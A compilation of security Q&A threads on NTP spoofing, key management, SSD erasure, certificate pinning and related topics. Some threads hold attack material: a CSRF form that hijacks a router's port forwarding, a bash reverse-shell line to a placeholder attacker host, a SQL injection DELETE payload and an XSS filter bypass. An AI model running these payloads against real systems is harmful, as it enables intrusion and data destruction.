How to safely synchronize time over Internet? All modern OS now keep accurate time by regularly synchronizing time over an untrusted network - Internet. Could an attacker conducting a MITM attack, influence or change the time of a computer while it is synchronizing time?

If the answer is yes to the previous question, how can such a thing be prevented while still using public NTP servers?

Full-fledged NTP implementations only allow a limited skew. For example, the de facto standard (formerly ISC) implementation on Linux will not deviate from the local clock by more than 1/2000 by default (a bit less than one minute per day). Hence an attacker cannot cause a huge clock deviation with such an implementation. In a typical site-wide or server setting, an attacker who can cause your clock to drift can also do far more worrisome things including significant DoS.

If you need more precision, get a clock that doesn't rely on the Internet. You can get time signals from many radio transmitters, from GPS, etc. Receivers start around $10 or so. An atomic clock makes you more independent, but it's, ahem, significantly more expensive.

NTP implementations on embedded devices (including many network appliances) are often dumber. Many of them will reset the date once a day or so without performing any consistency check (especially those without an internal clock, that must obtain a date at boot time anyway). So if at all possible be sure to configure all such devices to get the time from a reliable server in your internal network, not over the Internet.

If you do need extra security, NTP supports integrity and authenticity checks on time signals. These are enough to protect against an attacker who only injects fake NTP response packets. If the attacker can delay legitimate packets in transit, authenticating the packets is not enough. Your only option in that case is to reject responses if they take too long (the threshold depends on how much drift is permissible).


In snort alert what does initial values "07/31-16:19:48.614462 [**] ...." mean? Can anyone please tell me what does initial values in a snort alert mean. E.g., what does "07/31-16:19:48.614462" mean in following alert

07/31-16:19:48.614462  [**] [1:86300000:1] 503 irc_bot_cmd ExampleRule XY .... [**] [Priority: 0] {TCP} 10.14.44.37:80 -> 169.254.100.26:49413

Thats the time and date of the alert in the fastalert output format: MONTH/DAY-HOUR:MIN:SEC.MILIIS


Why should the user ID and group ID of every file match an existing user? I've been reading in most hardening guides for Linux, that you should check for files and directories without valid user or valid group. What I can't find, is how this could be used for an attack, or how this could be a weakness, besides it being "improper".

Files always have a owner-id and a group-id. But if the files are copied from another system (e. g. extracted from a tar archive), there may be no name assigned to those ids.

At a later time a new user or group may be created which gets the next available id. This id, however, may be the same id as the one used improperly before.

As a result the new user/group gets access to those files.


Is injecting a second Authenticity_Token on a login request considered a security threat? I'm running a security test on a website. The login request looks like this:

    POST /sessions HTTP/1.1
    Host: example.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://example.com/login/
    Cookie: guest_id=v13A143119700248937739; ga=GA1.2.2044559433.1430765006; eu_cn=1; kdt=EYxSZrzMFf9mQfhszqmTBvqOPw9yKfSG1APJHsxj; sess=BAh7CiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCCAI%252FD5NAToMY3NyZl9p%250AZCIlNDNiN2I5NWEyYzdkY2IyODNiNTI2MjJmN2E4OGUzYzU6B2lkIiVjZGM4%250AZDVlNjk2ZmZiOTUyMTQxNjE2YjFjYTU3NWFjODoJdXNlcmwrB%252BEaIKw%253D--472855fe8d2a70f4327cac502e1d1e916dc0d52f;
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 239

session%5Busername_or_email%5D=bugtest3000%40gmail.com&session%5Bpassword%5D=badpassword&authenticity_token=326c4ad687f74a52359710bad94a2bfce9e4d9d6

I can inject a second authenticity_token and still login. Is this a security issue?

        POST /sessions HTTP/1.1
        Host: example.com
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
        Accept-Language: en-GB,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: https://example.com/login/
        Cookie: guest_id=v13A143119700248937739; ga=GA1.2.2044559433.1430765006; eu_cn=1; kdt=EYxSZrzMFf9mQfhszqmTBvqOPw9yKfSG1APJHsxj; sess=BAh7CiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCCAI%252FD5NAToMY3NyZl9p%250AZCIlNDNiN2I5NWEyYzdkY2IyODNiNTI2MjJmN2E4OGUzYzU6B2lkIiVjZGM4%250AZDVlNjk2ZmZiOTUyMTQxNjE2YjFjYTU3NWFjODoJdXNlcmwrB%252BEaIKw%253D--472855fe8d2a70f4327cac502e1d1e916dc0d52f;
        Connection: keep-alive
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 239

session%5Busername_or_email%5D=bugtest3000%40gmail.com&session%5Bpassword%5D=badpassword&&scribe_log=&redirect_after_login=%2F&authenticity_token=326c4ad687f74a52359710bad94a2bfce9e4d9d5&authenticity_token=11111111111111111111111111111111111111111111

I believe this attack if successful is called as HTTP Parameter Pollution(HPP) and the ability to inject parameters is called HTTP Parameter Injection.
More on that at:
https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_%28OTG-INPVAL-004%29

Now, as far as the scenario you described is concerned, in my experience, a lot of servers will allow you to send multiple parameters with the same name such as your 'authenticity_token'. Some servers use the first instance of the value in the request and some use the last depending on the server. I think, the server in your case could be using the first value. But, to verify further and to determine its exploitability, Quoting from the OWASP Link above:

Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation and other security mechanisms are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated, different web application components use different occurrences or testing generates an error, there is an increased likelihood of being able to use parameter pollution to trigger security vulnerabilities.

I think this explains it well. Hope that helped.


What constitutes an exploit? I was able to compromise my common household router Was setting up Wifi at home today (just using the default router Time Warner Cable provides) and was appalled at the minimal security that the web server provides.

Default user name/password is Googlable and is admin admin
When you do change passwords, your password change is restricted to
less than 8 characters and no special characters. No limits on password attempts    (Thus bruteforcable)
No CSRF tokens

So I thought I would write a simple web-page that port forwards all traffic to the first ip allocated by default.

<form id="login" action="http://192.168.0.1/goform/login" method=POST name="login" target="login_frame">

    <input type="password" name="loginUsername" value="admin">
    <input type="password" name="loginPassword" value="admin">
    <input id='btnLogin' type="submit" value="Login">

</form>

<form id="hack" action="http://192.168.0.1/goform/RgForwarding" method="POST" name="login" target="hack_frame">

    <input type="text" name="PortForwardingCreateRemove" value="0"/>
    <input type="text" name="PortForwardingExtIp" value="0.0.0.0"/>
    <input type="text" name="PortForwardingExtStartPort" value="162" />
    <input type="text" name="PortForwardingExtEndPort" value="50000"/>
    <input type="text" id="ip" name="PortForwardingLocalIp" />
    <input type="text" name="PortForwardingLocalStartPort" value="162"/>
    <input type="text" name="PortForwardingLocalEndPort"  value="50000"/>
    <input type="text" name="PortForwardingProtocol"  value="4"/>
    <input type="text" name="PortForwardingDesc"  value="Pwnage"/>
    <input type="text" name="PortForwardingEnabled" value="1" />
    <input type="text" name="PortForwardingApply" value="2" />
    <input type="text" name="PortForwardingTable" value="0" />

</form>

The worst part about this, is that it works. Does this constitute an exploit? Do router manufactures just not care for security? I could have tried to play around with other settings, but this seemed like leaving a victim wide-open for metasploit. Would most OS firewalls be able to save a victim? Should I buy another router?

Just some ideas floating around.

ISP routers are notorious for having bad security. Home routers in general aren't that great security wise, but some of the better ones at least provide firmware updates that fix known flaws. They provide better security than their ISP counterparts, and usually have a much better feature set as well.

I would consider this an exploit. As such, you should consider where and how you post information about this - the best way to handle such things in my view is through responsible disclosure:

"Responsible disclosure is a computer security term describing a vulnerability disclosure model. It is like full disclosure, with the addition that all stakeholders agree to allow a period of time for the vulnerability to be patched before publishing the details."

(Wikipedia - you can read the rest here: http://en.wikipedia.org/wiki/Responsible_disclosure)

OS level firewall won't mitigate these kinds of attacks.


Limiting Login Attempts I have to set up a server that will allow remote logins. Obviously security is an issue. In this first pass we are discussing:-

Locking a person for 15 minutes if they fail to login correctly three times in succession over a five minute period.
Locking them out totally and making them reset their password if they fail to login correctly, say, a dozen times in succession in any one 24 hour period.

It has been suggested to me that these settings are a bit harsh!  Are there any guidelines on this? Information on the subject seems (from my Googles) somewhat limited.

Thank you...

There is no right or wrong answer. If you implement a more aggressive lockout policy then you will be more secure and you will degrade your user experience.

You have to assess where the right balance is for yourself, based on your application's requirements, your knowledge of your user base, the value of the assets you are protecting, your threat model, your risk analysis results, etc. etc.


Tools to identify and report hacking attempts originating inside reputable organizations? Re: Should I report hacking attempts? - Server Fault

Lots of people look at their own logs for attacks from the outside.  But who regularly reports such attacks back to the source?  I'm mainly imagining that happens for attempts that originate from inside the networks of reputable organizations (e.g. from a compromised machine within a university or business or ISP).

How many organizations welcome these kinds of reports and tend to handle them effectively?  Is there a way to identify those that do?

What tools exist to help identify such attacks and make such reports?

Identifying the sorts of abuse that are useful to report
Finding who to report to
Including the information that would help the organization track down the origin of the attack and/or who is responsible
Dealing with reports that get bounced, or whatever?

See also: Detecting website attack attempts

The organisations that have this down to a fine art are the global Security-As-A-Service companies. They are the only players big enough to hook into ISP's, Fortune 350's etc. They also work well with organisations to understand their asset register - helping weed out the attacks that might be real.

If you don't use one of them to manage your perimeter security, the workload to identify attacks at the perimeter needs to be passed off to scripts or devices in the main part - for most organisations there are just too many attempted attacks.

If you can implement a perimeter device to drop basic attacks this should take care of general port scanning. The types of abuse you might detect inbound from that device that aren't useful to report include exploit attempts which don't match your infrastructure (eg Windows attacks against Unix machines), brute force attacks etc.

If an attack comes from a registered corporate you may have luck - eg reporting to HP's abuse contact can get very quick results - as big companies don't want the legal ramifications of dealing with a computer they own being implicated in an attack.

------- so much for the good stuff -------

Finding out who to report to is a major issue. Look up ARIN, RIPE or your regional equivalent - You'll find that the whois records for 'bad guys' are unlikely to be correct and in any case a large number of automated scans and attacks come from compromised home computers or botnets so while you may have a contact at an ISP, they may have no power to do anything. They might have outsourced subnets to other ISP's anyway, or they may just not want to be involved.

From experience, you are much more likely to get action if you are a security person working for a Fortune 350, failing that you must expect bounces or ignored communications. The way round this is often to contact their CEO, CISO or Marketing Director :-)

In terms of information to include - the log and any timestamp offset information are the key items to pass on.


Breaking out of attribute in double quotes I have a piece of code that allows for

[url]someurl[/url]

BB-Code and replaces it with

someurl

It takes two precautions to prevent XSS.

It replaces <, > and " using a simple str_replace.
Uses a regex to detect javascript: and data: protocol handlers.

Since browsers decode the attribute value before further interpreting it, you can get around the regex check by encoding the URL using  [url]&#x6A ... [/url].

So I get:

javascript:alert(1)

Long story short: I want more than a steenkin attribute tage (who would click a link looking like that?!)

Can I somehow encode my ", <, etc. so it won't be replaced by the str_replace but still be interpreted in the context of HTML?

A blacklist approach will always be flawed.  For example,  under internet explorer you can use the vbscript: URI to execute vbscript code.  There are also ways of encoding javascript: to bypass this check.  There have been a large number of itunes exploits that rely upon the itunes: URI to exploit itunes from the browser.  This is just two examples,  but really there could be any URI handler registered on a target system.

I would run this though a htmlencode routine to encode all quote marks and angle brackets. The benefit of this is that the URL could legitimately contain quote marks without being damaged. This is because the browser will automatically perform an html-decode of all attribute values as they are loaded.  Then I would enforce that the first 4 characters are http.  If the string does not start with http:// or https://  then prepend http://


Good method to store user content encrypted without storing the user's key in plaintext? I have a number of seemingly contradictory requirements:

1) We obtain content for users from third parties; content for certain users should be stored encrypted at rest for compliance reasons

2) The user should be able to decrypt and display their content via a secured webapp/api

3) There are many users on a given account, and all should be able to decrypt and view each other's content (implying a shared key)

4) A backend worker process should be able to decrypt and reprocess the user's content at any time, if we want to (for example) improve our analytics

If we had to, we could sacrifice #4 (or perhaps have the user authenticate to allow it.)

Naturally I don't want to store the encryption key in plaintext anywhere. It would be most convenient to store it at the user level, encrypted by a hash PBKDF2'ed from their password - but that introduces a cumbersome workflow if they forget their password and need to reset it (since we now no longer can derive the key.)

I can't just use the password either, because access to content that was encrypted already should survive change password requests. Also, of course we don't have access to the plaintext password in async backend worker jobs.

Is there a generally accepted way of doing this? E.g. could I use some kind of 2FA-ish workflow to retrieve a user-secret that I never store locally, but which is used to protect the key?

The usual approach is to use a master key for each account that does the actual encryption/decryption/integrity check, but that is never stored in plain text anywhere. This master key should be generated using a secure random number generator and there should be no way to retrieve its plain-text value.

You encrypt the master key with per-user keys derived from the user's credentials (you can use a key derivation function - use something stronger than PBKDF2 if possible, like scrypt or argon2 - on the user's password, or require that the user have some other sort of cryptographic key such as a TLS client certificate). Each user thus stores their own encrypted copy of the master key for their account. These encrypted master keys can be stored on server, because they are useless without the per-user keys to decrypt them. The per-user keys are never stored on the server in any form; they are either supplied by the client directly, or ephemerally derived from client-supplied data (such as a password), used, and then deleted.

If necessary (for your #4) you can also encrypt each account's master key with other keys, such as for your background worker process. Of course, then you've just passed the buck one step; where is the key / credential-that-generates-a-key stored for that worker? How is it protected such that an attacker can't just grab it, decrypt the corresponding master key(s), and go to town?

Password reset does become somewhat tricky. Merely changing a password is easy: get the old password, decrypt the master key, re-encrypt it with the new password, and save the newly-encrypted master key back to the database. Resetting a password when the old one is unknown is harder. The usual options there (aside from "you can't, not without losing all your encrypted data", which I assume is unacceptable) are to give the user one-time-use recovery keys that are way too long to be used for normal passwords but can be used to decrypt the master key at need (meaning you'd have one version of the master key encrypted with the standard per-user key, and one with the user's recovery key), and require one of those for a password reset, or to require that some other user authorized to access that data vouch for the user who is resetting their password, and use the vouching user's credentials to unlock the vouching user's copy of the master key, then encrypt it with the resetting user's key and store that newly encrypted master key (since you have multiple users per "account", this would work well enough as long as no accounts have everybody forget their passwords at the same time).


Using RSA with 3DES instead of plain 3DES. Does it make sense? I have a large legacy code. Currently it is using 3DES encryption for a network based application. It encrypts data packets with a main key. This key is used to encrypt and decrypt (symmetrical). And for a double security, we are encrypting this main key again with another key (this time it is using a key which is hardcoded in the code itself).

Excuse me if I don't use sentences that make any sense for you, as I am new to this sector. I just have this legacy code and the way of using 3DES doesn't make any sense for me. It's not secure, we have a hardcoded key in our code and I didn't like the way 3DES is used here. Because the whole thing is based on symmetrical encryption.

Therefore I'm said that we should use RSA and they hand out me a design plan how to implement RSA along with 3DES. They came up with this design (they said they invented this design and it's the only way to do this):

At client:

Create a random 3DES key every time
Encrpyt the data with this key
Encrypt the key used for 3DES with RSA and prepend it to the data block

At server:

Decrypt the prepended data with client's RSA public key to get 3DES key
Decrypt the remaining datablock with 3DES key

I've asked for the meaning of using two different encryption algorithms together (RSA and 3DES). I asked why we didn't just use RSA for the whole thing instead of using two different algorithms and combining them.

They said encryption of the whole data would cost more and is expensive (in term of performance). However if we just encrypt the key itself and prepend it to the data, then it will not using much performance because this time the data itself is small(before we encrypt the whole data, but this time we only encrypt the key).

Now, is the new design approach the correct way doing this? Or is this nonsense crap and the best way is to implement it RSA-only. What is the best way to implement a secure data communication? Or any way i could fix the previous way to make it more secure?

They said encryption of the whole data would cost more and is expensive (in term of performance).

This is correct. RSA, an asymmetric key algorithm needs a lot more computing power/time to encrypt/decrypt data compared to a symmetric key algorithm like DES/3DES.

Asymmetric key algorithms are usually used as a means to communicate a key for use in another symmetric key algorithm for data transfer.

For more information, see: http://en.wikipedia.org/wiki/Hybrid_cryptosystem

Basic example taken from wikipedia:

  To encrypt a message addressed to Alice in a hybrid cryptosystem, Bob does the following:

  1) Obtains Alice's public key.

  2) Generates a fresh symmetric key for the data encapsulation scheme.

  3) Encrypts the message under the data encapsulation scheme, using the symmetric key just generated.

  4) Encrypt the symmetric key under the key encapsulation scheme, using Alice's public key.
  Send both of these encryptions to Alice.

  To decrypt this hybrid ciphertext, Alice does the following:

  1) Uses her private key to decrypt the symmetric key contained in the key encapsulation segment.

  2) Uses this symmetric key to decrypt the message contained in the data encapsulation segment.

Perhaps as an improvement, your company would consider using AES instead of 3DES?


Does formatting an SSD securely delete all data? This article on thomas-krenn.com states:

Because an ATA trim will be performed by NTFS with Windows 7 or when formatting using Ext4 from mke2fs 1.41.10 or XFS from xfsprogs 3.1.0, the secure erase procedure is no longer necessary [...].

From my understanding, the SSD's garbage collector will run some time after the SSD's controller has received the trim command from the operating system, resetting all blocks to zero.
This answer and this article suggest that most controllers of SSDs will return zeros for the trimmed blocks immediately, making it impossible to retrieve data from the formatted SSD with software like testdisk or foremost:

today’s SSD controllers are designed to report a data block empty as soon as the [trim] command is received – even if the actual wipe of that block occurs at a later point. [...] Regardless of the manufacturer, you can say it for a fact that the execution of the TRIM command is a nearly 100% guarantee of file deletion.

Gubanov and Afonin mention in this 2012 paper to physically detach the SSD's controller to prevent the garbage collector from zeroing out the blocks in flash memory but go on to say that the time window for this is small:

most information is lost from an SSD drive in just a few counted minutes after the user deletes a file or issues a quick format command.

On the other hand, Wei et al. write in a footnote that

The ACS-2 draft standard provide a “TRIM” command that informs drive that a range of LBAs is no longer in use, but this does not have any reliable effect on data security.

Is it safe to assume that after formatting an SSD¹, its data is irretrievably deleted? Are there counterexamples where files were restored from the formatted drive?

¹ Given that the formatting program (e.g., mke2fs) sends the trim command and the SSD supports it.

In theory, yes.* In reality, it depends on the SSD's implementation of TRIM.
TRIM is an optimization. Its actual implementation is left up to the manufacturer. Currently, most SSD manufacturers will queue a block for erasure by the garbage collector when it is discarded by TRIM, and this erasure is considered to be irreversible when it actually happens. But it is not designed for security, and it is not guaranteed to immediately erase data, even if some drives will erase it seconds or minutes after the command is issued. Just because the feature is usually implemented in such a way that precludes data recovery does not mean it can always be relied upon to do so in all cases.
The FTL may batch TRIM commands and execute them later, sometimes way later, and there's no way to know for sure if it really has occurred. Whether or not a TRIM operation on the entire drive will trigger foreground garbage collection depends on the firmware itself, for example. Furthermore, the operating system and filesystem driver need to support TRIM for the operation. If one chain in the link does not support transferring the command to the next link in the chain, it won't work.
Finally, although there's currently no known way to recover deleted data from a flash block that has had TRIM correctly applied, it's far more likely that the data is unrecoverable if you use ATA Secure Erase which, on modern SSDs, uses SED (Secure Encrypted Drive). With SED, the entire drive is transparently encrypted, and ATA Secure Erase simply removes the SED key, rendering all of the data instantly unrecoverable. The drive can then be formatted normally with your preferred tools.

Since you asked for specific examples, here is an article in which a manufacturer does not implement TRIM in such a way that erasure will occur in a timely manner:

Instead of the original Silicon Motion controller, the new batch of PNY Optima drives had a different, SandForce-based controller known for its less-than-perfect implementation of garbage collection leaving data on the disk for a long time after it’s been deleted.

The same article makes it clear that the type of TRIM supported may also affect erasure:

However, the implementation of the Deterministic Read After Trim (DRAT) protocol by many recent SSD drives makes trimmed pages inaccessible via standard SATA commands. If a particular SSD drive implements DRAT or DZAT (Deterministic Read Zero After Trim), the actual data may physically reside on the drive for a long time, yet it will be unavailable to forensic specialists via standard acquisition techniques. Sending the SSD drive to the manufacturer might be the only way of obtaining this information on a physical level.

* Actually, even in theory the answer might be no, depending on your adversary.


Problem with shellcode when exploiting Chakra I study Information Security at university, and we got at school a project to use some old patched vulnerability to get control over PC. We have chosen Chakra exploit CVE-2016-7200. We have it working with opening Motepad at victim's PC (a virtual machine running Windows 10 PRO x64 1607). But nothing more.

We have tried to use shellcode from here but it doesnt work. It should download and run our virus from server, but it does nothing. We have disabled firewall, defender etc. and still nothing. Also we tested some shellcodes in VisualStudio(C/C++) and when we had a shellcode working there (opening something else than Notepad, like calc.exec) but when we put it to out JS it did nothing (yes we changed it to format %u...).

If you have some ideas what might be wrong, or if you have some hints please let me know.

Using unknown code is always risky. Backpatching and etc will break many things you don't expect. Often, devices with old versions of software will actually have been backpatched, but there is no way to know other than reading the change logs and releases.
That said, try to create a reverse java shell to the server (you'll need to kick off a listener). If you can get a good shell you'll have much better luck writing the script to call the virus yourself. Honestly, at the point you have a shell with privleges, you can probably call this challenge completed.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

If you haven't found this page, it might help: https://www.cvedetails.com/cve/CVE-2016-7200/


Understanding how linux openssl passwords work I'm trying to understand how Linux hashes their passwords, so to get started lets say I do this openssl passwd -1 -salt xyz test. This will output: $1$xyz$jAlmRpcFe.aiPOIXET9GG/. Now what I do understand:

$1$ is the md5 algorithm
xyz$ is the salt used with a $ sign appended to it
jAlmRpcFe.aiPOIXET9GG/ is the actual password hashed with md5 and something else.

The last part is what I do not understand, what else is this hashed computed with?

As wikipedia says

  Poul-Henning Kamp designed a baroque and (at the time) computationally expensive algorithm based on the MD5 message digest algorithm.  ...
  First the passphrase and salt are hashed together, yielding an MD5 message digest. Then a new digest is constructed, hashing together the passphrase, the salt, and the first digest, all in a rather complex form. Then this digest is passed through a thousand iterations of a function which rehashes it together with the passphrase and salt in a manner that varies between rounds. The output of the last of these rounds is the resulting passphrase hash.

That's tells you it's not just doing a (single) hash of pw+salt, but it isn't very exact. Fortunately OpenSSL is open source, so https://github.com/openssl/openssl/blob/master/apps/passwd.c#L322 (or apps/passwd.c in any copy of any version of the source which has been available for decades) shows you the exact algorithm. It is indeed baroque, more so than I care to try to explain unless you have a specific question about it.


Is it possible to detect a honeypot? Do techniques exists to know if a machine is a honeypot (or suspicious indicators)?

What techniques can be used for a software inside the honeypot or outside it?

What techniques uses malware to prevent infecting honeypot?

Ideally, no.
A honeypot is a word used to define the purpose of a machine, but has no bearing on the machine itself, how it's configured or any particular software running on it.

That said, someone creating a honeypot typically has the goal of luring targets into expending resources or breaking OpSec.  To do this, they would present a goal that appears to offer a significant reward and/or minimal effort required to exploit.  Provided the owner of the honey pot is not a very good poker player (knowing how much to offer without making the trap obvious), one could potentially measure the "too good to be true" value of a machine.

Sadly, though, if one were to compare this measure with the majority of internet connected hosts, a deliberately weak and valuable goal will be largely indistinguishable from one that is accidentally so.


What are the problems that Chip card technology solve? and what are the problems EMV solve? Are the separate things? What are the problems that Chip card technology solve?  and what are the problems EMV solve?

I understand that EMV is a standard where as chip card is a technology, It's pretty hard to tell them apart (can we refer to EMV & Chip Card as the same thing?)

What are the problems that having a chipcard or an EMV standard complianced card solve?

How do they solve the problems of other technologies such as proximity cards (Can't proximity cards have processors embed with them? )

what about magnetic strip cards (least of my worries cus it's been answered by other posts!)?

A chip card (or smart card) is generic term for cards containing a microprocessor. You can think of it as a highly embedded computer. They might even run their own operating system.

EMV on the other hand refers to a certain standard for these kind of cards for payment transactions. Note, however, that smart cards can also be used for different applications, e.g. they are used quite heavily in the Pay-TV sector - at least here in Europe. Another field of application is the corporate environment, where smart cards may be required for logging into some services.

Smart cards are usually used for authentication. More specifically you prove to the other party that you are in possession of some sort of secret. The advantage over purely passive hardware (e.g. a magnetic stripe) is that the secret itself is never revealed. It is only used as a basis for all sorts of (cryptographic) operations, e.g. digitally signing a transaction. Furthermore these cards are usually built in a way that they can't be tampered with, at least not without spending a lot of time, money and effort.


Force public key collision to break certificate pinning I'm trying to intercept a SSLv3 connection between a PlayStation 3 client and an authentication server of and outdated game to reverse engineer its protocol.
I already tried to set up a simple MITM attack and copied every value from the original certificate. However, the client immediately drops the connection. I'm assuming the binary compares more than just the common fields. But it doesn't seem to validate the certificate to a CA because the PS3 does not contain the used CA (probably a custom one by the publisher) as it seems. If I open a connection via PS3's browser it throws a cert-error.
I created a broken certificate by running openssl genrsa -3 -out fake.key 512 to match the original server's cert first and replacing my public key with the public key of the original cert. Obviously this won't work because the public/private-pair is broken, nevertheless I generated the cert and signed the original cert with my private key. This resulted in a certificate with identical public keys I could use for my proxy server (PS3 -> my_fake_server -> official server).
The interesting part is that the client didn't drop the connection with this faked cert. I could see in Wireshark that it continues with the handshake (because it seems to "just" compare the public key and the common fields) and fails because of the broken pair. However, this is not the client dropping the connection but the OpenSSL implementation failing with bad_record_mac which could indicate that the server is using a non-matching pair [1], which in fact is true.
But this makes me wonder if I could counter this error and successfully intercept the connection if I could generate a pair that is valid but contains the same public key? Could that work? How likely is it to force a collision on a 512 bit key? Are there other options I could use to succeed?

Actually I'm not looking for a private key collision but for two private keys (where one is the original and the other is mine) that share the same public key.

For RSA, every private key corresponds to exactly one public key, so this is not possible. For more information, see these questions:

Multiple private keys for single public key
Can we have multiple public keys with a single private key for RSA?

Of course, TLS is specifically designed to be hard to MitM. There are usually a couple of options to intercept it anyways:

Modify the client. Change the binary, use Frida or a debugger to change the certificate validation logic.
Install a custom CA certificate as trusted. Create a CA certificate and configure the OS to trust this certificate.


Do users data from europe have to be stored in the EU? I read recently that facebook could be moving 1.5 billion EU users data outside of the EU to get round the new EU regulations on GDPR.

Is this legal and how could it be stopped?

Source: https://www.zdnet.com/article/facebook-moving-1-5-billion-users-away-from-gdpr-protection/

They don't have to store the data in the EU as long as the data is treated in the other country as if it was stored in the EU.

So for example, storing the data in the US is only possible thanks to the EU-US Privacy Shield. That is basically an agreement, that the US will respect the GDPR and other EU regulations for this kind of data.

That being said, there is some amount of controversy around the EU-US Privacy Shield. It may not protect all your rights fully. There are currently lawsuits filed. There however is no way to prevent this other than not using the companies that transfer your data outside EU.

Also, it is hard to enforce such an agreement, as EU officials may never find out about US agencies, such as the NSA breaking the agreement or circumventing it somehow.

PS: If you are looking for services protecting your privacy, you may wish to use services based in Switzerland, where the right for privacy is a constitutional right and any personal data requests from other countries must be confirmed by a Swiss court, in accordance with Swiss law.


SQL injection is possible but selected queries not working I'm black-box testing an application which uses java spring framework and MySQL in the back-end.

When I insert a single quote (') in a text box field, the server returns a HTTP status code 500 Internal server error with the below error stack trace,

  org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar
  [select code, name, num_code from car where UPPER (code) LIKE UPPER('%'%') LIMIT 0,10];

So it's absolutely a SQL Injection.

And because of that, I tried to delete a row in another table which sits in the same DB with the below payload:

%'); DELETE FROM p_test WHERE t_id=1#

which will in-turn change the query as:

select code, name, num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=1# %') LIMIT 0,10

Now a row must get deleted in the table p_test with t_id = 1, but it returns the HTTP status code 500 with below stack trace,

  [http-bio-8080-exec-7] ERROR c.q.j.e.r.CommonHandlerExceptionResolver -  doResolveException going to resolve the following exception :
  org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code,name,num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10];
  nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10' at line 1

If anyone has any idea please reply.

The MySQL client library doesn't allow multiple stacked queries by default, so you can't execute an arbitrary statement with this injection alone.

This is a handy mitigation against simple automated attacks, but with knowledge of the specific application there is still a lot you can do with a select injection. If you get to see the output of the query you can UNION with another select on a table you want to know about (otherwise see 'blind injection' for more tedious techniques to get that data out). If you have SELECT INTO permissions you can cause some real damage (arbitrary file write possibly escalating to executing arbitrary code).


What are the side effects of recompiling OpenSSL with -DOPENSSL_NO_HEARTBEATS? Sorry if it is very open ended.  All the news about the Heartbleed exploit has been flooding Google, and I can't figure out what it does.  Is it fine to recompile?

If you compilte OpenSSL with -DOPENSSL_NO_HEARTBEATS then you get an OpenSSL library and tools which can do anything that "normal" OpenSSL can do, except for the support of the SSL/TLS extension called "Heartbeat". That extension is described in RFC 6520. It is a pretty recent extension.

As with all extensions, its use in any given SSL connections is subject to a negotiation which occurs in the early steps of the handshake. Basically, the extension may be used only if the client claims that it supports it and wants to use it (in the ClientHello) and the server responds that it supports it and is OK with using it (in the ServerHello). If your SSL library was compiled without Heartbeat support, then it will not advertise Heartbeat support; if it is involved in a handshake where that extension appears, it will handle it as an "unknown extension", i.e. ignore it altogether.

Apart from that, your newly-compiled OpenSSL will behave just like the previous one, and things will work. What will break is if a specific application insists on using the Heartbeat extension: that extension will try to activate the extension and use it, and it will not work.

Looking at the OpenSSL source code, it appears that the SSL_heartbeat() function (used to send a "beat" by an Heartbeat-aware application) is a macro, which invokes the generic SSL_ctrl() function with some numeric parameters. This implies that if an application really wants to use that functionality, and you provide it with your no-heartbeat OpenSSL library, then there will be no link error; the code will run; but any beat-sending call will result in an error status. How the application will react depends on the application. In fact, from the application point of view, things will be as if the peer did not support Heartbeat.

Fortunately, this extension is very recent, and there must not be many application which are aware of Heartbeat, let alone use it. Chances are that your recompiled OpenSSL will not break anything at all, so the answer to your question is: yes, it is quite probably fine to recompile.


Cyber security specialist vs. consultant vs. architect I have a general understand of these 3 roles, but no working experience (actually I work in security R&D). For example (I know some details may vary in different companies):

[Specialist] - design solution /implement security programs for own company; work with vendors to use existing tool/software.

[Consultant] - provide security advise/solution to 3rd party, work with vendors.

[Architect] - design security architecture for own company

I want to know the connections/difference between them from the following angels:

what are their required skills (e.g., technical 60%, project management 20%, customer 20%, or other equivalent)
If I want to move to a architect role in the future, which one is more helpful, specialist or consultant?
For specialist and consultant, which one may have higher average income?

Quick disclaimer: these types of job descriptions will vary from company to company and sometimes even between departments or HR staff. This is just my general impression after working in this field for quite some time now.

The required skill distribution (tech vs non-tech) largely depend on the project you are working on and your carreer step but generally you need a good technical background, ideally with experience in software dev, networking and other relevant fields. And project management skills should be a must for anyone working in the IT field. Customer - or interpersonal in general - skills will most likely be more important for consultants, as they are usually external entities with lots of customer contact.

As for payment, from my experience internal security staff gets paid more than consultants. But YMMV and - as with most of this topic - it largely depends on your company/potential future employers.

Consultant

Generally, you're providing IT security knowledge for a client because that client has no or not enough relevant knowledge themself. You're an external who is adding value to a project.
As for the skill set, it depends on the phase of the project and the type of the project.
For example, you might work for a client during the conception phase of a new e-commerce website. In that phase you need a good technical background and overview (know about secure design principles, methods to achieve the relevant parts of CIA and so on). Your main responsibilities will be to aid solution architects, business analyists and the likes to create a secure-by-design concept and try to catch potential vulnerabilities before they even come into existance.

